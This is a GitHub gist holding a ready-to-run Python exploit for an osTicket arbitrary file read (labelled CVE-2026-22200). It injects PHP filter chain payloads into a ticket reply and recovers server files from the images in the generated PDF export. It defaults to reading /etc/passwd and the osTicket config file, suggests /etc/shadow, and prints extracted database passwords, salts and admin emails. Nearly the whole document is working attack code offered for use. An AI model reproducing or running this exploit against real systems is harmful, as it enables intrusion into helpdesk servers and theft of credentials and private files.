Created
February 10, 2026 15:46
-
-
Save ArkaprabhaChakraborty/aa40ce3c51b3cf11ead03e5b7cebc1e3 to your computer and use it in GitHub Desktop.
Enhancesoft OsTicket arbitrary file read vulnerability
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| CVE-2026-22200 - osTicket Arbitrary File Read (Oneshot Exploit) | |
| Exploits the PHP filter chain vulnerability in osTicket's mPDF PDF export | |
| to read arbitrary files from the server. | |
| Usage: | |
| python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator | |
| python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator --files /etc/shadow /proc/version | |
| """ | |
| import argparse | |
| import base64 | |
| import os | |
| import re | |
| import string | |
| import sys | |
| import zlib | |
| from urllib.parse import quote | |
| import requests | |
| from requests.adapters import HTTPAdapter | |
| from urllib3.util.retry import Retry | |
| import urllib3 | |
| urllib3.disable_warnings() | |
| ICONV_MAPPINGS = { | |
| "61": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", | |
| "59": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", | |
| "66": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", | |
| "50": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", | |
| "68": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", | |
| "57": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", | |
| "6f": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", | |
| "6a": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", | |
| "32": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", | |
| "35": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE", | |
| "69": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", | |
| "56": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", | |
| "51": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", | |
| "58": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", | |
| "67": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", | |
| "34": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", | |
| "5a": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", | |
| "33": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", | |
| "4e": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", | |
| "4b": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", | |
| "42": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", | |
| "45": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", | |
| "73": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", | |
| "74": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", | |
| "4c": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", | |
| "4d": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", | |
| "75": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", | |
| "72": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", | |
| "44": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", | |
| "2f": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", | |
| "43": "convert.iconv.CN.ISO2022KR", | |
| "6b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", | |
| "38": "convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16", | |
| "6e": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", | |
| "36": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", | |
| "31": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", | |
| "65": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", | |
| "62": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", | |
| "54": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", | |
| "53": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", | |
| "30": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE", | |
| "37": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", | |
| "6d": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", | |
| "6c": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", | |
| "39": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", | |
| "52": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", | |
| "55": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", | |
| "63": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", | |
| "64": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", | |
| "46": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", | |
| "79": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", | |
| "41": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", | |
| "77": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", | |
| "48": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", | |
| "70": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", | |
| "4a": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", | |
| "4f": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", | |
| "71": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", | |
| "76": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932", | |
| "49": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", | |
| "47": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", | |
| "78": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", | |
| "7a": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", | |
| } | |
| BANNER = """ | |
| =============================================================== | |
| CVE-2026-22200 - osTicket Arbitrary File Read Exploit | |
| Oneshot Exploitation Script | |
| =============================================================== | |
| """ | |
| def create_session(): | |
| session = requests.Session() | |
| retry = Retry(total=3, backoff_factor=0.5, status_forcelist=[500, 502, 503, 504]) | |
| adapter = HTTPAdapter(max_retries=retry) | |
| session.mount("http://", adapter) | |
| session.mount("https://", adapter) | |
| session.headers.update({ | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" | |
| }) | |
| return session | |
| def extract_csrf_token(content): | |
| # Try name before value | |
| match = re.search(r'name="__CSRFToken__"[^>]*value="([^"]+)"', content) | |
| if match: | |
| return match.group(1) | |
| # Try value before name | |
| match = re.search(r'value="([^"]+)"[^>]*name="__CSRFToken__"', content) | |
| if match: | |
| return match.group(1) | |
| # Try single quotes | |
| match = re.search(r"name='__CSRFToken__'[^>]*value='([^']+)'", content) | |
| if match: | |
| return match.group(1) | |
| return None | |
| def quote_with_forced_uppercase(input_string): | |
| safe_chars = string.ascii_lowercase + string.digits + '_.-~' | |
| encoded_parts = [] | |
| for char in input_string: | |
| if 'A' <= char <= 'Z': | |
| encoded_parts.append(f"%{ord(char):X}") | |
| elif char in safe_chars: | |
| encoded_parts.append(char) | |
| else: | |
| encoded_parts.append(quote(char)) | |
| return "".join(encoded_parts) | |
| def generate_php_filter_payload(file_path, encoding="plain"): | |
| width, height = 15000, 1 | |
| bmp_header = ( | |
| b'BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00' | |
| + width.to_bytes(4, 'little') | |
| + height.to_bytes(4, 'little') | |
| + b'\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00' | |
| + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' | |
| ) | |
| base64_payload = base64.b64encode(bmp_header).decode() | |
| filters = "convert.iconv.UTF8.CSISO2022KR|" | |
| filters += "convert.base64-encode|" | |
| filters += "convert.iconv.UTF8.UTF7|" | |
| for c in base64_payload[::-1]: | |
| hex_char = str(hex(ord(c))).replace("0x", "") | |
| filters += ICONV_MAPPINGS[hex_char] + "|" | |
| filters += "convert.base64-decode|" | |
| filters += "convert.base64-encode|" | |
| filters += "convert.iconv.UTF8.UTF7|" | |
| filters += "convert.base64-decode" | |
| if encoding in ('b64', 'b64zlib'): | |
| filters = "convert.base64-encode|" + filters | |
| if encoding == 'b64zlib': | |
| filters = "zlib.deflate|" + filters | |
| return f"php://filter/{filters}/resource={file_path}" | |
| def generate_ticket_payload(file_paths, is_reply=True): | |
| sep = "&#34" if is_reply else """ | |
| payloads = [] | |
| for file_spec in file_paths: | |
| if ',' in file_spec: | |
| file_path, encoding = file_spec.split(',', 1) | |
| if encoding not in ('plain', 'b64', 'b64zlib'): | |
| encoding = 'plain' | |
| else: | |
| file_path = file_spec | |
| encoding = 'plain' | |
| php_filter = generate_php_filter_payload(file_path, encoding) | |
| payloads.append(php_filter) | |
| html = '<ul>' | |
| for p in payloads: | |
| html += f'<li style="list-style-image:url{sep}({quote_with_forced_uppercase(p)})">listitem</li>\n' | |
| html += '</ul>' | |
| return html | |
| def decompress(data, chunk_size=1024): | |
| decompressor = zlib.decompressobj(wbits=-15) | |
| output = b'' | |
| for i in range(0, len(data), chunk_size): | |
| chunk = data[i:i + chunk_size] | |
| try: | |
| output += decompressor.decompress(chunk) | |
| except zlib.error: | |
| return output + decompressor.flush() | |
| return output + decompressor.flush() | |
| def decodeb64(encoded_data, min_bytes=12): | |
| encoded_data = encoded_data.strip() | |
| decoded = b"" | |
| for i in range(0, len(encoded_data), 4): | |
| block = encoded_data[i:i + 4] | |
| try: | |
| decoded += base64.b64decode(block, validate=True) | |
| except (base64.binascii.Error, ValueError): | |
| if len(decoded) < min_bytes: | |
| text = encoded_data.decode('ascii', errors='ignore') | |
| return re.sub(r'[^\x20-\x7E\n\r\t]', '', text).encode() | |
| return decoded | |
| if len(decoded) < min_bytes: | |
| text = encoded_data.decode('ascii', errors='ignore') | |
| return re.sub(r'[^\x20-\x7E\n\r\t]', '', text).encode() | |
| return decoded | |
| def extract_data_from_bmp(bmp_data): | |
| marker = b'\x1b$)C' | |
| data = bmp_data.partition(marker)[2].replace(b'\x00', b'') | |
| b64_decoded = decodeb64(data) | |
| decompressed = decompress(b64_decoded) | |
| if decompressed: | |
| return decompressed | |
| elif b64_decoded: | |
| return b64_decoded | |
| return data | |
| def extract_files_from_pdf(pdf_content): | |
| try: | |
| import fitz | |
| except ImportError: | |
| print("[!] PyMuPDF (fitz) not installed. Install with: pip install PyMuPDF") | |
| sys.exit(1) | |
| try: | |
| from PIL import Image | |
| except ImportError: | |
| print("[!] Pillow not installed. Install with: pip install pillow") | |
| sys.exit(1) | |
| import io | |
| pdf_doc = fitz.open(stream=pdf_content, filetype="pdf") | |
| extracted_files = [] | |
| for page_idx, page in enumerate(pdf_doc): | |
| images = page.get_images(full=True) | |
| for img_idx, img in enumerate(images, start=1): | |
| xref = img[0] | |
| try: | |
| pix = fitz.Pixmap(pdf_doc, xref) | |
| if pix.alpha: | |
| pix = fitz.Pixmap(fitz.csRGB, pix) | |
| image_data = pix.samples | |
| pil_image = Image.frombytes("RGB", [pix.width, pix.height], image_data) | |
| bmp_buffer = io.BytesIO() | |
| pil_image.save(bmp_buffer, "BMP") | |
| bmp_data = bmp_buffer.getvalue() | |
| file_content = extract_data_from_bmp(bmp_data) | |
| if file_content: | |
| # Clean trailing BMP padding artifacts | |
| clean = file_content.rstrip(b'\x00') | |
| # Remove repeating @C>== padding at end | |
| padding_marker = b'@C>==' | |
| pad_idx = clean.find(padding_marker) | |
| if pad_idx > 0: | |
| clean = clean[:pad_idx] | |
| extracted_files.append(clean) | |
| except (RuntimeError, ValueError, AttributeError) as e: | |
| print(f" [~] Could not process image {img_idx} on page {page_idx+1}: {e}") | |
| pdf_doc.close() | |
| return extracted_files | |
| def login(session, base_url, username, password): | |
| """Try staff panel (SCP) login first, then fall back to client portal. | |
| Returns 'scp', 'client', or None on failure.""" | |
| # Try staff panel (SCP) first | |
| print(" [*] Trying staff panel (/scp/) login...") | |
| scp_login_url = f"{base_url}/scp/login.php" | |
| try: | |
| r = session.get(scp_login_url, verify=False, timeout=20) | |
| csrf = extract_csrf_token(r.text) | |
| if csrf: | |
| data = { | |
| "__CSRFToken__": csrf, | |
| "userid": username, | |
| "passwd": password, | |
| } | |
| r = session.post(scp_login_url, data=data, allow_redirects=True, verify=False, timeout=20) | |
| # If login succeeded, we won't see the login form anymore | |
| if 'userid' not in r.text.lower() or '/scp/login.php' not in r.url: | |
| print(" [+] Staff panel login successful") | |
| return "scp" | |
| else: | |
| print(" [-] Staff panel credentials rejected") | |
| except Exception as e: | |
| print(f" [~] Staff panel error: {e}") | |
| # Fall back to client portal | |
| print(" [*] Trying client portal login...") | |
| client_login_url = f"{base_url}/login.php" | |
| try: | |
| r = session.get(client_login_url, verify=False, timeout=20) | |
| csrf = extract_csrf_token(r.text) | |
| if csrf: | |
| data = { | |
| "__CSRFToken__": csrf, | |
| "luser": username, | |
| "lpasswd": password, | |
| } | |
| r = session.post(client_login_url, data=data, allow_redirects=True, verify=False, timeout=20) | |
| if 'luser' not in r.text or 'Sign In' not in r.text: | |
| print(" [+] Client portal login successful") | |
| return "client" | |
| else: | |
| print(" [-] Client portal credentials rejected") | |
| except Exception as e: | |
| print(f" [~] Client portal error: {e}") | |
| return None | |
| def find_ticket_id(session, base_url, ticket_number, prefix=""): | |
| """Find the internal ticket ID for a given ticket number.""" | |
| tickets_url = f"{base_url}{prefix}/tickets.php" | |
| r = session.get(tickets_url, verify=False, timeout=20) | |
| # Look for ticket links with the ticket number | |
| pattern = rf'tickets\.php\?id=(\d+)[^>]*>.*?#?{ticket_number}' | |
| match = re.search(pattern, r.text, re.DOTALL) | |
| if match: | |
| return match.group(1) | |
| # Try accessing tickets with different IDs | |
| for tid in range(1, 20): | |
| r = session.get(f"{tickets_url}?id={tid}", verify=False, timeout=20) | |
| if str(ticket_number) in r.text: | |
| return str(tid) | |
| return None | |
| def submit_reply(session, base_url, ticket_id, payload_html, prefix=""): | |
| ticket_url = f"{base_url}{prefix}/tickets.php?id={ticket_id}" | |
| r = session.get(ticket_url, verify=False, timeout=20) | |
| csrf = extract_csrf_token(r.text) | |
| if not csrf: | |
| print(f"[!] Could not extract CSRF token from ticket page ({ticket_url})") | |
| print(f" [DEBUG] Response status: {r.status_code}, URL: {r.url}") | |
| print(f" [DEBUG] Page title: {re.search(r'<title>(.*?)</title>', r.text, re.DOTALL)}") | |
| return False | |
| # Find the reply textarea - try multiple patterns | |
| # SCP uses 'response', client portal uses 'message' | |
| textarea_name = None | |
| for pattern in [ | |
| r'<textarea[^>]*name="([^"]+)"[^>]*id="response"', | |
| r'<textarea[^>]*id="response"[^>]*name="([^"]+)"', | |
| r'<textarea[^>]*name="([^"]+)"[^>]*id="message"', | |
| r'<textarea[^>]*id="message"[^>]*name="([^"]+)"', | |
| r'name="(response)"', | |
| ]: | |
| match = re.search(pattern, r.text, re.IGNORECASE) | |
| if match: | |
| textarea_name = match.group(1) | |
| break | |
| if not textarea_name: | |
| textarea_name = "response" if prefix == "/scp" else "message" | |
| print(f" [*] Using textarea field: {textarea_name}") | |
| data = { | |
| "__CSRFToken__": csrf, | |
| "id": ticket_id, | |
| "a": "reply", | |
| textarea_name: payload_html, | |
| } | |
| r = session.post(ticket_url, data=data, allow_redirects=True, verify=False, timeout=30) | |
| # Check for various success indicators | |
| success_indicators = ['reply posted', 'posted successfully', 'message posted', 'response posted'] | |
| response_lower = r.text.lower() | |
| return any(ind in response_lower for ind in success_indicators) | |
| def download_pdf(session, base_url, ticket_id, prefix=""): | |
| # Try multiple PDF export URL patterns | |
| urls_to_try = [ | |
| f"{base_url}{prefix}/tickets.php?a=print&id={ticket_id}", | |
| f"{base_url}{prefix}/tickets.php?a=print&id={ticket_id}&pdf=true", | |
| f"{base_url}{prefix}/tickets.php?id={ticket_id}&a=print", | |
| ] | |
| for pdf_url in urls_to_try: | |
| print(f" [*] Trying: {pdf_url}") | |
| r = session.get(pdf_url, verify=False, timeout=60) | |
| content_type = r.headers.get('Content-Type', '') | |
| if content_type.startswith('application/pdf') or r.content[:4] == b'%PDF': | |
| print(f" [+] Got PDF response ({len(r.content)} bytes)") | |
| return r.content | |
| else: | |
| print(f" [-] Not a PDF (Content-Type: {content_type}, size: {len(r.content)})") | |
| return None | |
| def main(): | |
| parser = argparse.ArgumentParser( | |
| description="CVE-2026-22200 osTicket Arbitrary File Read - Oneshot Exploit", | |
| formatter_class=argparse.RawDescriptionHelpFormatter, | |
| epilog=""" | |
| Examples: | |
| python exploit_oneshot.py --url http://172.17.210.202 --ticket 978554 --email test --password administrator | |
| python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator --files /etc/shadow | |
| python exploit_oneshot.py --url http://TARGET --ticket 978554 --email test --password administrator --files /proc/version /etc/hostname | |
| """, | |
| ) | |
| parser.add_argument("--url", required=True, help="Base URL of osTicket (e.g. http://172.17.210.202)") | |
| parser.add_argument("--ticket", required=True, help="Ticket number (e.g. 978554)") | |
| parser.add_argument("--email", required=True, help="Login email/username") | |
| parser.add_argument("--password", required=True, help="Login password") | |
| parser.add_argument("--files", nargs="*", | |
| default=["/etc/passwd", "include/ost-config.php"], | |
| help="Files to read (default: /etc/passwd include/ost-config.php). " | |
| "Append ,b64 or ,b64zlib for encoding (e.g. /proc/self/maps,b64zlib)") | |
| parser.add_argument("--output-dir", default=".", help="Directory to save extracted files") | |
| parser.add_argument("--ticket-id", default=None, help="Internal ticket ID (auto-detected if not provided)") | |
| args = parser.parse_args() | |
| print(BANNER) | |
| base_url = args.url.rstrip("/") | |
| session = create_session() | |
| # Step 1: Login | |
| print(f"[*] Target: {base_url}") | |
| print(f"[*] Ticket: #{args.ticket}") | |
| print(f"[*] Files to extract: {args.files}") | |
| print() | |
| print("[1/5] Logging in...") | |
| portal = login(session, base_url, args.email, args.password) | |
| if not portal: | |
| print(f"[!] Login failed with {args.email}:{args.password}") | |
| print("[*] Tried both staff panel (/scp/) and client portal (/)") | |
| sys.exit(1) | |
| prefix = "/scp" if portal == "scp" else "" | |
| print(f"[+] Logged in as {args.email} via {portal} portal") | |
| # Step 2: Find ticket ID | |
| print("\n[2/5] Locating ticket...") | |
| ticket_id = args.ticket_id | |
| if not ticket_id: | |
| ticket_id = find_ticket_id(session, base_url, args.ticket, prefix) | |
| if not ticket_id: | |
| print(f"[!] Could not find internal ID for ticket #{args.ticket}") | |
| print("[*] Try specifying --ticket-id manually") | |
| sys.exit(1) | |
| print(f"[+] Ticket #{args.ticket} has internal ID: {ticket_id}") | |
| # Step 3: Generate and submit payload | |
| print("\n[3/5] Generating PHP filter chain payload...") | |
| payload_html = generate_ticket_payload(args.files, is_reply=True) | |
| print(f"[+] Payload generated ({len(payload_html)} bytes, {len(args.files)} file(s))") | |
| print("\n[4/5] Submitting payload as ticket reply...") | |
| if not submit_reply(session, base_url, ticket_id, payload_html, prefix): | |
| print("[!] Failed to submit reply. The response may not contain expected confirmation.") | |
| print("[*] Continuing to PDF download anyway...") | |
| else: | |
| print("[+] Reply posted successfully") | |
| # Step 4: Download PDF and extract | |
| print("\n[5/5] Downloading PDF and extracting files...") | |
| pdf_content = download_pdf(session, base_url, ticket_id, prefix) | |
| if not pdf_content: | |
| print("[!] Failed to download PDF") | |
| sys.exit(1) | |
| pdf_path = os.path.join(args.output_dir, f"ticket_{args.ticket}.pdf") | |
| with open(pdf_path, "wb") as f: | |
| f.write(pdf_content) | |
| print(f"[+] PDF saved to: {pdf_path}") | |
| extracted = extract_files_from_pdf(pdf_content) | |
| print(f"[+] Extracted {len(extracted)} file(s) from PDF") | |
| # Step 5: Display and save results | |
| print("\n" + "=" * 70) | |
| print("EXTRACTED FILE CONTENTS") | |
| print("=" * 70) | |
| for i, content in enumerate(extracted): | |
| file_label = args.files[i] if i < len(args.files) else f"file_{i+1}" | |
| # Clean the label for filename use | |
| safe_name = file_label.split(',')[0].replace('/', '_').lstrip('_') | |
| output_path = os.path.join(args.output_dir, f"extracted_{safe_name}") | |
| with open(output_path, "wb") as f: | |
| f.write(content) | |
| print(f"\n--- [{file_label}] ({len(content)} bytes) ---") | |
| try: | |
| text = content.decode('utf-8', errors='replace') | |
| # Show first 3000 chars | |
| if len(text) > 3000: | |
| print(text[:3000]) | |
| print(f"\n... (truncated, full content in {output_path})") | |
| else: | |
| print(text) | |
| except UnicodeDecodeError as e: | |
| print(f"[!] Could not decode content as text: {e}") | |
| print(f"[Binary data - saved to {output_path}]") | |
| print(f"[+] Saved to: {output_path}") | |
| # Look for key secrets in ost-config.php | |
| print("\n" + "=" * 70) | |
| print("KEY FINDINGS") | |
| print("=" * 70) | |
| for content in extracted: | |
| try: | |
| text = content.decode('utf-8', errors='replace') | |
| except UnicodeDecodeError: | |
| continue | |
| secrets = { | |
| "SECRET_SALT": re.search(r"define\('SECRET_SALT','([^']+)'\)", text), | |
| "ADMIN_EMAIL": re.search(r"define\('ADMIN_EMAIL','([^']+)'\)", text), | |
| "DBHOST": re.search(r"define\('DBHOST','([^']+)'\)", text), | |
| "DBNAME": re.search(r"define\('DBNAME','([^']+)'\)", text), | |
| "DBUSER": re.search(r"define\('DBUSER','([^']+)'\)", text), | |
| "DBPASS": re.search(r"define\('DBPASS','([^']+)'\)", text), | |
| } | |
| found_any = False | |
| for key, match in secrets.items(): | |
| if match: | |
| print(f" {key}: {match.group(1)}") | |
| found_any = True | |
| if found_any: | |
| print() | |
| print("[*] Exploitation complete!") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment